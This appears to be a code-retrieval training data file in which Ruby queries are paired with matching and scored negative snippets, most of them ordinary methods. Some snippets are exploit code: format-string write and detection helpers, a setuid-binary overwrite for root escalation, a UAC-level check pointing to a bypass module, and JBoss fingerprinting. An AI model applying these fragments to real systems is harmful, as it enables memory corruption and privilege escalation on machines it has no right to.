"def custom_permissions # rubocop:disable Metrics/CyclomaticComplexity\n can :read, ApplicationPresenter, &:can_read?\n can :read, UsersPresenter, &:can_read?\n can :read, UserPresenter, &:can_read?\n can :read, RolesPresenter, &:can_read?\n can :read, RolePresenter, &:can_read?\n\n can :read, Press\n\n grant_press_analyst_abiltites if press_analyst?\n grant_press_editor_abilities if press_editor?\n grant_press_admin_abilities if platform_admin? || press_admin?\n grant_platform_admin_abilities if platform_admin?\n end",
"def respond_to_missing?(name, include_priv)\n super\n end"
] |
[
"0.83256024",
"0.83256024",
"0.83256024",
"0.7442773",
"0.68214697",
"0.6818294",
"0.6763387",
"0.6721922",
"0.6720516",
"0.6720516",
"0.6685665",
"0.6557588",
"0.6547156",
"0.6488966",
"0.632029",
"0.6294481",
"0.6285364",
"0.625645",
"0.6199144",
"0.6156093",
"0.61351794",
"0.60736597",
"0.60724473",
"0.60387176",
"0.6019271",
"0.60128224",
"0.5989237",
"0.5966175",
"0.59489274",
"0.59303516",
"0.58977485",
"0.58937",
"0.5856563",
"0.5817352",
"0.58083",
"0.5759999",
"0.57025373",
"0.56647253",
"0.5629592",
"0.5610792",
"0.5605714",
"0.55969405",
"0.55945045",
"0.5569161",
"0.5499112",
"0.5492255",
"0.54498",
"0.5447786",
"0.5433855",
"0.54169524",
"0.5400041",
"0.5396561",
"0.5395059",
"0.5386916",
"0.53822154",
"0.5380767",
"0.5323312",
"0.53215355",
"0.5319867",
"0.53182757",
"0.5311276",
"0.5308907",
"0.5308855",
"0.5296936",
"0.5292902",
"0.5283017",
"0.5272789",
"0.5270373",
"0.526902",
"0.52669466",
"0.52619654",
"0.5240404",
"0.52332145",
"0.5231091",
"0.52254385",
"0.52155834",
"0.52094984",
"0.51931965",
"0.51906615",
"0.51729023",
"0.5171706",
"0.5150552",
"0.5149867",
"0.51354176",
"0.51228774",
"0.5119106",
"0.5118144",
"0.5113687",
"0.5100744",
"0.5093785",
"0.5088064",
"0.5085715",
"0.5084768",
"0.50819844",
"0.5075994",
"0.5066038",
"0.50570637",
"0.50555694",
"0.50545585",
"0.5049306",
"0.5037592"
] |
0.0
|
-1
|
Detect the capabilities (only works for nonblind)
|
def fmtstr_detect_caps
@use_dpa = fmtstr_detect_cap_dpa
@use_fpu = fmtstr_detect_cap_fpu
#print_status("support dpa:#{@use_dpa.to_s}, fpu:#{@use_fpu.to_s}")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def capabilities; end",
"def capabilities; end",
"def capabilities; end",
"def capabilities\n data[:capabilities]\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def capabilities\n attributes.fetch(:capabilities)\n end",
"def capabilities\n @stack.capabilities\n end",
"def capabilities\n @manage_sieve.print_capabilities\n end",
"def supports_required_capabilities?(tcp)\n (ToolProxy::ENABLED_CAPABILITY - tcp['capability_offered']).blank?\n end",
"def required_capabilities?(tcp)\n (ToolProxy::ENABLED_CAPABILITY - tcp['capability_offered']).blank?\n end",
"def hasCapability?(cap)\n return !isRegularUser? && (capabilities.include?(cap) || capabilities.include?(\"admin\"))\n end",
"def capabilities\n FFI::Libvirt.virConnectGetCapabilities(pointer)\n end",
"def desired_caps_real_device\n\tdesired_caps = {\n\t caps: {\n\t platformName: \t\t'iOS',\n\t versionNumber: \t\t'9.0',\n\t deviceName: \t\t'iPad de Guillem',\n newCommandTimeout: 1000, \n\t udid: \t\t'52257b7d0ae102e2d79f02448b5486aca8c6e715',\n\t autoAcceptAlerts: true,\n bundleId: 'com.kg.GoldenManager',\n #newCommandTimeout: 10,\n\t #app:\t \t\t\t\t\tAPP_PATH, \t\n fullReset: false,\n fastReset: true\n\t }\n\t}\nend",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def capabilities\n @capabilities ||= @data[\"data\"].keys.select do |cap|\n cats = @data[\"data\"][cap][\"categories\"]\n cats.any?{|cat| cat =~ /CSS/ }\n end.sort\n end",
"def capability imap, res = nil\n return imap.capability unless res\n\n data = res.data\n\n if data.code and data.code.name == 'CAPABILITY' then\n data.code.data.split ' '\n else\n imap.capability\n end\n end",
"def can_emulate\n {\n method: \"Emulation.canEmulate\"\n }\n end",
"def capability\n return @capability\n end",
"def isRegularUser?\n return capabilities.nil? || capabilities.blank?\n end",
"def capability\n one_data_response(\"CAPABILITY\").transform{ |response| response.data }\n end",
"def kiosk_mode_allow_touchscreen\n return @kiosk_mode_allow_touchscreen\n end",
"def chrome_os?\n !!(ua =~ /CrOS/)\n end",
"def standard?\n STANDARD_CAPABILITIES.include?(@name)\n end",
"def detect\n end",
"def browser_supported_by_metamask?\n browser.chrome? || browser.firefox?\n end",
"def require_capability(capabilities, options = {})\n options.assert_valid_keys(:if, :unless,\n :for, :only, \n :for_all_except, :except\n )\n \n # only declare that before filter once\n unless (@before_filter_declared||=false)\n @before_filter_declared=true\n before_filter :check_capabilities\n end\n \n # convert to an array if it isn't already\n capabilities = [ capabilities ] unless Array === capabilities\n capabilities.map! do | x |\n x = 'controller/:controller/:action' if x == nil || x == :ACTION \n x\n end\n \n options[:only] ||= options[:for] if options[:for]\n options[:except] ||= options[:for_all_except] if options[:for_all_except]\n \n # convert any actions into symbols\n for key in [:only, :except]\n if options.has_key?(key)\n options[key] = [options[key]] unless Array === options[key]\n options[key] = options[key].compact.collect{|v| v.to_sym}\n end \n end\n \n self.capability_requirements||=[]\n self.capability_requirements << {:capabilities => capabilities, :options => options }\n end",
"def active_directory_capability?\n capabilities[:supportedcapabilities].include?(ACTIVE_DIRECTORY_V51_OID)\n end",
"def supported?\n false\n end",
"def restrict_capabilities\n return unless current_admin&.capabilities&.reject(&:blank?)&.present?\n\n if capabilities&.reject(&:blank?)&.present?\n self.capabilities &= current_admin.capabilities\n else\n self.capabilities = current_admin.capabilities\n end\n end",
"def cap? ; prod_type == 'cap' end",
"def supported_features\n\t\treturn self.supported_feature_oids.collect {|oid| FEATURE_NAMES[oid] || oid }\n\tend",
"def capabilities(keyword = nil)\n request Net::NNTP::Capabilities.new(keyword)\n end",
"def security_available?\n caps = []\n begin\n # Try the getSecurityCapabilities API where supported.\n # We only need to look at AUTHORIZATION, the AccessController doesn't support\n # CELL_AUTHORIZATION without AUTHORIZATION also available.\n caps = @admin.getSecurityCapabilities\n rescue\n # If we are unable to use getSecurityCapabilities, fall back with a check for\n # deployment of the ACL table\n raise(ArgumentError, 'DISABLED: Security features are not available') unless \\\n exists?(org.apache.hadoop.hbase.security.access.PermissionStorage::ACL_TABLE_NAME.getNameAsString)\n return\n end\n raise(ArgumentError, 'DISABLED: Security features are not available') unless \\\n caps.include? org.apache.hadoop.hbase.client.security.SecurityCapability::AUTHORIZATION\n end",
"def capabilities(*caps)\n caps = [caps].flatten\n\n raise \"Discovery plugin capabilities can't be empty\" if caps.empty?\n\n caps.each do |cap|\n if [:classes, :facts, :identity, :agents, :compound].include?(cap)\n @entities[:discovery][:capabilities] << cap\n else\n raise \"%s is not a valid capability, valid capabilities are :classes, :facts, :identity, :agents and :compound\" % cap\n end\n end\n end",
"def base64_capable?\n [:internet_explorer, :safari].include? @browser&.name\n end",
"def detect; end",
"def support?\n Support.new(ENV, verbose: verbose).support?\n end",
"def capabilities\n if @capabilities\n @capabilities\n elsif @cached_capabilities\n @capabilities = add_case_insensitive_default_proc(@cached_capabilities)\n else\n login\n end\n end",
"def grsec_installed?\n cmd_exec('test -c /dev/grsec && echo true').to_s.strip.include? 'true'\n rescue\n raise 'Could not determine grsecurity status'\n end",
"def supports_device_licensing\n return @supports_device_licensing\n end",
"def capability(capability)\n capability = self[capability.to_s]\n return nil if capability.nil?\n case capability.strip\n when /^d+$/\n capability = capability.to_i\n when /^true$/i\n capability = true\n when /^false$/i\n capability = false\n end\n return capability\n end",
"def visibility_feature_available?\n caps = []\n begin\n # Try the getSecurityCapabilities API where supported.\n caps = @admin.getSecurityCapabilities\n rescue\n # If we are unable to use getSecurityCapabilities, fall back with a check for\n # deployment of the labels table\n raise(ArgumentError, 'DISABLED: Visibility labels feature is not available') unless \\\n exists?(VisibilityConstants::LABELS_TABLE_NAME)\n return\n end\n raise(ArgumentError, 'DISABLED: Visibility labels feature is not available') unless \\\n caps.include? org.apache.hadoop.hbase.client.security.SecurityCapability::CELL_VISIBILITY\n end",
"def can_capture?\n [ :linf, :hinf, :hover ].include? @type\n end",
"def query_capabilities\n write(START_SYSEX, CAPABILITY_QUERY, END_SYSEX)\n end",
"def is_able?\n if gladiators.count < 2\n return false\n end\n return true\n end",
"def capability_matches(support, capability_options_list)\n capability_options_list.any? do |capability_options|\n capability_options.all? {|c, v| CAPABILITY_MATCHERS[c].call(v, support)}\n end\n end",
"def support\n end",
"def promiscuous?\n\t\treturn self.component.promiscuous?\n\tend",
"def valid_for_platform?; true; end",
"def characteristics\n requirements + supplements\n end",
"def powered?\n respond_to? :isPowered ? isPowered : false\n end",
"def powered?\n respond_to? :isPowered ? isPowered : false\n end",
"def discoverable?\n fails_any = false\n\n # TODO Loop through agent requirements\n\n return !fails_any\n end",
"def obtain_accesibility\n Logger.info('Obtained accessibility for terminal to click buttons')\n\n SUPPORTED_TERMINALS.each do |bundle_identifier|\n sql = <<-SQL\n INSERT OR REPLACE INTO access\n VALUES('kTCCServiceAccessibility','#{bundle_identifier}',0,1,0,NULL);\n SQL\n `sudo sqlite3 #{DATABASE} \"#{sql}\"`\n end\n end",
"def is_supported_by_termination?\r\n self.find_termination_supporter.nil? ? false : true\r\n end",
"def caps_ipad_sim\n { caps: {\n deviceName: \"\",\n platformName: \"iOS\",\n udid: \"\",\n platformVersion: \"\",\n appPackage: \"\",\n bundleId: \"\",\n xcodeOrgId: \"\",\n xcodeSigningId: \"\",\n newCommandTimeout: \"3600\",\n automationName: \"XCUITest\"\n # setWebContentsDebuggingEnabled: \"true\",\n # orientation: \"LANDSCAPE\",\n # noReset: \"false\",\n # fullReset: \"false\",\n # showIOSLog: \"true\",\n # autoAcceptAlerts: \"true\",\n # showXcodeLog: \"true\",\n # useNewWDA: \"true\"\n # resetOnSessionStartOnly: \"true\"\n }\n }\nend",
"def show_current_status\n if system \"sudo launchctl list | grep com.apple.screensharing > /dev/null\" and\n system \"sudo defaults read /var/db/launchd.db/com.apple.launchd/overrides.plist com.apple.screensharing -dict Disabled | grep 'Disabled = 0' > /dev/null\"\n puts \"VNC: enabled\"\n else\n puts \"VNC: disabled\"\n end\nend",
"def supports?\n fail \"Method 'supports?' must be defined\"\n end",
"def privileged?\n get_mode == :privileged\n end",
"def supports?(feature)\n features.include?(feature)\n end",
"def client_capabilities=(_arg0); end",
"def supports?\n raise \"Method 'supports?' must be defined\"\n end",
"def appium_available?\n `appium -v`\n true\n rescue Errno::ENOENT\n false\n end",
"def can_xp?\n false\n end",
"def browserstack\n # Documentation and the code for this class can be found here\n # http://www.rubydoc.info/gems/selenium-webdriver/0.0.28/Selenium/WebDriver/Remote/Capabilities\n # https://github.com/SeleniumHQ/selenium/blob/master/rb/lib/selenium/webdriver/remote/capabilities.rb\n capabilities = Selenium::WebDriver::Remote::Capabilities.new\n\n config.browserstack.capabilities.each do |key, value|\n capabilities[key] = value\n end\n\n capabilities\n end",
"def uidplus?\n capability.include? 'UIDPLUS'\n end",
"def rech_bonus?\n has_feature?(:esper_recharger)\n end",
"def is_softwire?(); @type == GRT_SOFTWIRE; end",
"def automation_mode\n data[:automation_mode]\n end",
"def hardware_information\n super\n end",
"def supported\n @supported ||= []\n end",
"def promiscuous?\n\t\t\treturn false\n\t\tend",
"def exec_shield_enabled?\n exec_shield = cmd_exec('cat /proc/sys/kernel/exec-shield').to_s.strip\n (exec_shield.eql?('1') || exec_shield.eql?('2'))\n rescue\n raise 'Could not determine exec-shield status'\n end",
"def support?(mode)\n @modes.keys.include?(mode)\n end",
"def is_device? type\n request.user_agent.to_s.downcase.include?(type.to_s.downcase)\n end",
"def supported?\n supports_platform? && supports_runtime?\n end",
"def detect_browser\n if APP_CONFIG.force_mobile_ui\n return true\n end\n \n mobile_browsers = [\"android\", \"ipod\", \"opera mini\", \"blackberry\", \n\"palm\",\"hiptop\",\"avantgo\",\"plucker\", \"xiino\",\"blazer\",\"elaine\", \"windows ce; ppc;\", \n\"windows ce; smartphone;\",\"windows ce; iemobile\", \n\"up.browser\",\"up.link\",\"mmp\",\"symbian\",\"smartphone\", \n\"midp\",\"wap\",\"vodafone\",\"o2\",\"pocket\",\"kindle\", \"mobile\",\"pda\",\"psp\",\"treo\"]\n if request.headers[\"HTTP_USER_AGENT\"]\n\t agent = request.headers[\"HTTP_USER_AGENT\"].downcase\n\t mobile_browsers.each do |m|\n\t\t return true if agent.match(m)\n\t end \n end\n return false\n end",
"def detect?(machine)\n machine.communicate.test(\"\")\n end",
"def supports?\n !@version.nil?\n end",
"def nationalparks_capabilities\n query('txt/wxfcs/nationalpark/json/capabilities')\n end",
"def capability=(value)\n @capability = value\n end",
"def has_custom_attack?\n custom_attack_skill_features.any?\n end",
"def cpu_percent_available?\n true\n end",
"def mountain_area_capabilities\n query('txt/wxfcs/mountainarea/json/capabilities')\n end",
"def supported_control_oids\n\t\treturn self.root_dse[:supportedControl]\n\tend",
"def installable_platform?\n Gem::Platform.match_spec? spec\n end",
"def detect_platform\n @@platform_features ||= {\n :interpreter => detect_interpreter,\n :interpreter_language => detect_interpreter_language,\n :ipv4 => detect_reachable_ip,\n :ruby_version => RUBY_VERSION,\n }.merge(detect_os).merge(detect_hardware)\n end",
"def version_supported?\n\tKitchenplan::Log.debug \"#{self.class} : Is platform version lower than #{@lowest_version_supported}?\"\n\treturn false if self.version.to_s < @lowest_version_supported\n\ttrue\n end",
"def version_supported?\n\tKitchenplan::Log.debug \"#{self.class} : Is platform version lower than #{@lowest_version_supported}?\"\n\treturn false if self.version.to_s < @lowest_version_supported\n\ttrue\n end",
"def version_supported?\n\tKitchenplan::Log.debug \"#{self.class} : Is platform version lower than #{@lowest_version_supported}?\"\n\treturn false if self.version.to_s < @lowest_version_supported\n\ttrue\n end",
"def method_missing name, *named, **ordered, &block\n #log \"method #{name} missing on #{@name}\"\n capability_name = name[0..-2].to_sym\n params = RBCM::Params.new named, ordered\n if not @@capabilities.include? capability_name\n super\n elsif name =~ /\\!$/\n return # never call cap! diectly\n elsif name =~ /\\?$/\n __search capability_name, params, &block\n end\n end",
"def eval_platform\n if @platform == \"PC\"\n puts \"PC are great!\"\n else\n puts \"Your platform is probably underpowered.\"\n end\n end",
"def IsDiagSupported()\n return @@DiagSupported unless @@DiagSupported.nil?\n\n begin\n # Read installinfo.txt\n versionline = IO.readlines(@@InstallInfoPath)[0]\n\n # Extract version number\n versionnum = versionline.split()[0]\n\n # Extract major and minor parts of version number\n cur_major, cur_minor, cur_patch, cur_build = GetVersionParts(versionnum)\n\n # Check validity of major and minor parts\n if cur_major.nil? or\n cur_minor.nil? or\n cur_patch.nil? or\n cur_build.nil?\n @@DiagSupported = false\n return @@DiagSupported\n end\n\n # Compare version number\n tar_major, tar_minor, tar_patch, tar_build = GetVersionParts(DIAG_MIN_VERSION)\n\n # Compare major parts\n if @@DiagSupported.nil?\n if cur_major.to_i > tar_major.to_i\n @@DiagSupported = true\n elsif cur_major.to_i < tar_major.to_i\n @@DiagSupported = false\n end\n end\n\n # Compare minor parts\n if @@DiagSupported.nil?\n if cur_minor.to_i > tar_minor.to_i\n @@DiagSupported = true\n elsif cur_minor.to_i < tar_minor.to_i\n @@DiagSupported = false\n end\n end\n\n # Compare patch parts\n if @@DiagSupported.nil?\n if cur_patch.to_i > tar_patch.to_i\n @@DiagSupported = true\n elsif cur_patch.to_i < tar_patch.to_i\n @@DiagSupported = false\n end\n end\n\n # Compare build parts\n if @@DiagSupported.nil?\n if cur_build.to_i > tar_build.to_i\n @@DiagSupported = true\n elsif cur_build.to_i < tar_build.to_i\n @@DiagSupported = false\n end\n end\n\n rescue\n return false\n end\n\n # The version is DIAG_MIN_VERSION\n @@DiagSupported = true if @@DiagSupported.nil?\n return @@DiagSupported\n end",
"def is_device?(type)\n\t\trequest.user_agent.to_s.downcase.include?(type.to_s.downcase)\n\tend",
"def detect_platform()\r\n\t\tprint_status(\"Attempting to automatically detect the platform...\")\r\n\r\n\t\tpath = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'\r\n\t\tres = send_request_raw(\r\n\t\t\t{\r\n\t\t\t\t'uri' => path\r\n\t\t\t}, 20)\r\n\r\n\t\tif (not res) or (res.code != 200)\r\n\t\t\tprint_error(\"Failed: Error requesting #{path}\")\r\n\t\t\treturn nil\r\n\t\tend\r\n\r\n\t\tif (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\\/td>/m)\r\n\t\t\tos = $1\r\n\t\t\tif (os =~ /Linux/i)\r\n\t\t\t\treturn 'linux'\r\n\t\t\telsif (os =~ /Windows/i)\r\n\t\t\t\treturn 'win'\r\n\t\t\tend\r\n\t\tend\r\n\t\tnil\r\n\tend",
"def platform_filters_available?\n !options.platform.nil?\n end",
"def is_per_device_acceptance_required\n return @is_per_device_acceptance_required\n end",
"def what_platform\n if @platform == \"PC\"\n puts \"PC are Awesome!\"\n else\n puts \"This platform is inferior\"\n end\n end",
"def uac_enabled\n\t#Confirm target could have UAC, then find out level its running at if possible\n\tif session.sys.config.sysinfo['OS'] !~ /Windows Vista|Windows 2008|Windows [78]/\n\t\t\tuac = false\n\telse\n\t\tbegin\n\t\t\tkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System',KEY_READ)\n\t\t\tif key.query_value('EnableLUA').data == 1\n\t\t\t\tuac = true\n\t\t\t\tprint_status(\"UAC is Enabled, checking level...\")\n#\t\t\t\tkey.close\n\t\t\t\tuac_level = key.query_value('ConsentPromptBehaviorAdmin').data \n\t\t\t\tif uac_level.to_i == 2\n\t\t\t\t\tprint_error(\"UAC is set to 'Always Notify'\")\n\t\t\t\t\tprint_error(\"Things won't work under these conditions.....\")\n\t\t\t\t\traise Rex::Script::Completed\n\t\t\t\telsif uac_level.to_i == 5\n\t\t\t\t\tprint_error(\"UAC is set to Default\")\n\t\t\t\t\tprint_error(\"You should try running 'exploit/windows/local/bypassuac' to bypass UAC restrictions if you haven't already\")\n\t\t\t\telsif uac_level.to_i == 0\n\t\t\t\t\tprint_good(\"UAC Settings Don't appear to be an issue...\")\n\t\t\t\t\tuac = false\n\t\t\t\telse\n\t\t\t\t\tprint_status(\"Unknown UAC Setting, if it doesn't work try things manually to see if UAC is blocking......\")\n\t\t\t\t\tuac = false\n\t\t\t\tend\n\t\t\tend\n\t\t\tkey.close\n\t\trescue::Exception => e\n\t\t\tprint_error(\"Error Checking UAC: #{e.class} #{e}\")\n\t\tend\n\tend\n\treturn uac\nend",
"def check_capabilities(filter)\n capabilities = ddl.discovery_interface[:capabilities]\n\n unless capabilities.include?(:classes)\n raise \"Cannot use class filters while using the '%s' discovery method\" % discovery_method unless filter[\"cf_class\"].empty?\n end\n\n unless capabilities.include?(:facts)\n raise \"Cannot use fact filters while using the '%s' discovery method\" % discovery_method unless filter[\"fact\"].empty?\n end\n\n unless capabilities.include?(:identity)\n raise \"Cannot use identity filters while using the '%s' discovery method\" % discovery_method unless filter[\"identity\"].empty?\n end\n\n unless capabilities.include?(:compound)\n raise \"Cannot use compound filters while using the '%s' discovery method\" % discovery_method unless filter[\"compound\"].empty?\n end\n end"
] |
[
"0.7780192",
"0.7780192",
"0.7780192",
"0.70855683",
"0.67589474",
"0.67589474",
"0.6755632",
"0.66943836",
"0.6646791",
"0.6582498",
"0.6496605",
"0.6482937",
"0.6402995",
"0.63329273",
"0.631555",
"0.6244675",
"0.6188158",
"0.6150402",
"0.6101861",
"0.59783614",
"0.5972525",
"0.59545904",
"0.59318936",
"0.5908183",
"0.58920115",
"0.5872889",
"0.5821074",
"0.579125",
"0.578898",
"0.5784899",
"0.5752565",
"0.57451427",
"0.5737272",
"0.5729825",
"0.5710144",
"0.5707573",
"0.57067394",
"0.57055044",
"0.5698308",
"0.5694052",
"0.5656693",
"0.56341195",
"0.5623504",
"0.5594992",
"0.5592267",
"0.5587525",
"0.5583097",
"0.5576574",
"0.5576288",
"0.5573495",
"0.5567579",
"0.5567579",
"0.55596346",
"0.5557358",
"0.5552063",
"0.5550492",
"0.555023",
"0.5538347",
"0.55347663",
"0.5516674",
"0.5507877",
"0.5507136",
"0.5502842",
"0.5494885",
"0.5483963",
"0.54828686",
"0.54819447",
"0.5469242",
"0.5466161",
"0.54649913",
"0.5463781",
"0.54545623",
"0.5449676",
"0.54452443",
"0.54420555",
"0.54418814",
"0.54412746",
"0.54311496",
"0.54118735",
"0.54033804",
"0.5403143",
"0.53987",
"0.5388392",
"0.5385392",
"0.5376179",
"0.53732693",
"0.5371228",
"0.53699464",
"0.53699464",
"0.53699464",
"0.53626984",
"0.5361084",
"0.53590024",
"0.53567123",
"0.53530115",
"0.53476083",
"0.5342008",
"0.5339873",
"0.53356177",
"0.5329529"
] |
0.6232095
|
16
|
NOTE: This will likely crash the target process
|
def fmtstr_detect_exploitable
begin
res = trigger_fmt("|" + ("%n" * 16) + "|")
rescue ::Exception
res = nil
end
return true if not res
res = extract_fmt_output(res)
if res =~ /^\|\|$/
return true
end
return false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pausable; end",
"def check_process\n super\n end",
"def crash\n exit!\n end",
"def refork; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def run_interrupted; end",
"def dead?; end",
"def post_process; end",
"def processCrash; raise \"Abstract Exception: AbstractBeezwaxCrashProcessor.processCrash must be extended\"; end",
"def restart; end",
"def on_begin_process()\n # subclasses may override this method \n end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def kill() end",
"def running; end",
"def running; end",
"def process\n end",
"def private; end",
"def coredump?; false; end",
"def ridicule_faultfully_prerevision()\n end",
"def error_thread_crash error, error_location; end",
"def handle_post_mortem; end",
"def exec; end",
"def exec; end",
"def error_poslook_crash error, error_location; end",
"def lock; end",
"def lock; end",
"def lock; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def set_exit_exception; end",
"def process\n raise \"Must be implemented\"\n end",
"def exit_exception; end",
"def child_process(result)\n end",
"def run_failed; end",
"def process\n # no-op\n end",
"def unlock; end",
"def kill!() end",
"def on_end_process()\n # subclasses may override this method\n end",
"def process!\n end",
"def post_process\n end",
"def fork # :nodoc\n @cant_fork = true\n nil # important due #work\n end",
"def exploit_bomb()\r\n puts \"++ We get signal. Overwriting #{TARGET_BINARY} with #{TARGET_SHELL_PATH}.\"\r\n\r\n # Overwriting with this method will always work well if binary at TARGET_SHELL_PATH\r\n # is bigger than TARGET_BINARY (ex. /bin/sh is 1068844 bytes and /bin/ps is 68432).\r\n # An alternative method is running diskutil again to set the rogue permissions.\r\n over = File.new(TARGET_BINARY, \"w\")\r\n over.write(File.read(TARGET_SHELL_PATH))\r\n over.close\r\n \r\n unless FileTest.setuid?(TARGET_BINARY)\r\n fork do\r\n FileUtils.rm_f TARGET_BINARY\r\n FileUtils.cp TARGET_SHELL_PATH, TARGET_BINARY\r\n exec \"#{DISKUTIL_PATH} repairPermissions /\"\r\n end\r\n Process.wait\r\n end\r\n \r\n puts \"++ Done. Happy ruuting.\"\r\nend",
"def isolate_from_interrupts; end",
"def used?; end",
"def refutal()\n end",
"def run() end",
"def crash\n @status = :crashed\n @lives -= 1\n @last_crash_t = Time.now\n end",
"def handle; end",
"def resume; end",
"def resume; end",
"def stopped?; end",
"def stopped?; end",
"def stopped?; end",
"def stopped?; end",
"def stacktrace; end",
"def touched\n crash\n end",
"def initialize(process); end",
"def busy?; end",
"def pid; end",
"def pid; end",
"def pid; end",
"def stack_trace; end",
"def probers; end",
"def exec_fix\n super\n end",
"def process\n raise Error::new(\"This method should be implemented by a subclass\")\n end",
"def cause; end",
"def cause; end",
"def interrupt?; end",
"def life_cycle_failure(app, cause) ; end",
"def life_cycle_failure(app, cause) ; end",
"def thread; end",
"def thread; end",
"def thread; end",
"def running?; end",
"def abort; end",
"def abort; end",
"def abort; end",
"def br3ak\n raise RuntimeError, \"OMFG!!1!\"\n end",
"def proceed!; end",
"def proceed!; end",
"def terminate() end",
"def phantom_load_raise?(e); end",
"def process\n # no-op by default\n end",
"def monitor; end"
] |
[
"0.6498429",
"0.61109644",
"0.6075771",
"0.6068685",
"0.5907626",
"0.5907626",
"0.5907626",
"0.5907626",
"0.5907626",
"0.5907626",
"0.5907626",
"0.5907626",
"0.58848274",
"0.58769816",
"0.5836043",
"0.5831598",
"0.58155376",
"0.57944685",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.5734258",
"0.573284",
"0.5725144",
"0.5725144",
"0.57171077",
"0.57002616",
"0.5693112",
"0.56805927",
"0.5673129",
"0.56716186",
"0.56705326",
"0.56705326",
"0.56536347",
"0.56193376",
"0.56193376",
"0.56193376",
"0.5586599",
"0.5586599",
"0.5586599",
"0.5586599",
"0.55861425",
"0.5577607",
"0.5571011",
"0.5559424",
"0.55523837",
"0.5545657",
"0.55233914",
"0.5517832",
"0.5516196",
"0.55131775",
"0.5510412",
"0.5502849",
"0.5486889",
"0.54868555",
"0.54839945",
"0.5479781",
"0.5476835",
"0.54512566",
"0.5449833",
"0.54477507",
"0.54477507",
"0.5445674",
"0.5445674",
"0.5445674",
"0.5445674",
"0.54404926",
"0.54339546",
"0.54006225",
"0.53969514",
"0.537727",
"0.537727",
"0.537727",
"0.5375403",
"0.53736675",
"0.53726214",
"0.53635824",
"0.5357742",
"0.5357742",
"0.53413075",
"0.53410995",
"0.53410995",
"0.5332388",
"0.5332388",
"0.5332388",
"0.53321916",
"0.5329523",
"0.5329523",
"0.5329523",
"0.5324515",
"0.5320182",
"0.5320182",
"0.5319312",
"0.5314411",
"0.53040516",
"0.5301277"
] |
0.0
|
-1
|
Generates a format string that will perform an arbitrary write using two separate short values
|
def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target)
arr = Array.new
arr << [ write_what & 0xffff, write_to ]
arr << [ write_what >> 16, write_to + 2 ]
stuff = fmtstr_gen_from_array(num_printed, arr, targ)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_short(file, short, md)\n short = [short].pack('n')\n md << short\n file.write(short)\n end",
"def write_raw_short(val)\n buffer << [val].pack(\"S>\")\n end",
"def short(*shorts)\n format = ( little_endian? ? 'v*' : 'n*') \n return string(shorts.pack(format)) \n end",
"def write_short(status, data1, data2, timestamp = 0)\n PM_Map.Pm_WriteShort(@out_stream, timestamp, PM_Map.encode_message(status, data1, data2))\n end",
"def short_long_short(first, second)\n first.length > second.size ? \"#{second}#{first}#{second}\" : \"#{first}#{second}#{first}\"\nend",
"def fmtstr_target_short(value, num_printed)\n\t\tif value < num_printed\n\t\t\treturn (0x10000 - num_printed) + value\n\t\tend\n\t\treturn value - num_printed\n\tend",
"def short_long_short(string1, string2)\r\n if string1.length > string2.length\r\n \"#{string2}#{string1}#{string2}\"\r\n else\r\n \"#{string1}#{string2}#{string1}\"\r\n end\r\nend",
"def concat_strings(short, long)\n short + long + short\nend",
"def short_long_short(str_one, str_two)\n if str_one.size > str_two.size \n \"#{str_two}#{str_one}#{str_two}\" \n else\n \"#{str_one}#{str_two}#{str_one}\"\n end\nend",
"def short\n quality + number.to_s \n end",
"def short_long_short(str1, str2)\n str1.size > str2.size ? \"#{str2}#{str1}#{str2}\" : \"#{str1}#{str2}#{str1}\"\nend",
"def short_long_short(one, two)\n if one.length < two.length\n shorter, longer = one, two\n else\n shorter, longer = two, one\n end\n\n shorter + longer + shorter\nend",
"def short_long_short(str1, str2)\n short = ''\n long = ''\n if str1.length > str2.length\n short = str2\n long = str1\n else\n short = str1\n long = str2\n end\n short + long + short\nend",
"def short_long_short(str1, str2)\n return \"#{str1}#{str2}#{str1}\" if str1.length < str2.length\n return \"#{str2}#{str1}#{str2}\" if str2.length < str1.length\nend",
"def short_long_short(s, s_2)\n s.length > s_2.length ? s_2 + s + s_2 : s + s_2 + s\nend",
"def shorten\n\t\tp \"** #{self.id} | #{self.long}\"\n\t\t# self.short = Base64.urlsafe_encode64(\"rudy\" + \"[#{self.id}]\")\n\t\t# self.short = Base64.urlsafe_encode64(\"rudy\" + Time.now.to_i.to_s)\n\t\tself.short = Base64.urlsafe_encode64(Time.now.to_i.to_s + SecureRandom.base64(5))\n\n\t\t# can use SecureRandom\n\n\t\tp \"**** #{self.short}\"\n\n\tend",
"def short_long_short(st1, st2)\n st1.length < st2.length ? st1 + st2 + st1 : st2 + st1 + st2\nend",
"def short_long_short(str1, str2)\n concat_string = ''\n \n if str1.size < str2.size\n concat_string << str1\n concat_string << str2\n concat_string << str1\n else\n concat_string << str2\n concat_string << str1\n concat_string << str2\n end\n concat_string\nend",
"def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend",
"def append_short(s=nil)\n if s.class == Fixnum && !block_given?\n @j_del.java_method(:appendShort, [Java::short.java_class]).call(::Vertx::Util::Utils.to_short(s))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling append_short(s)\"\n end",
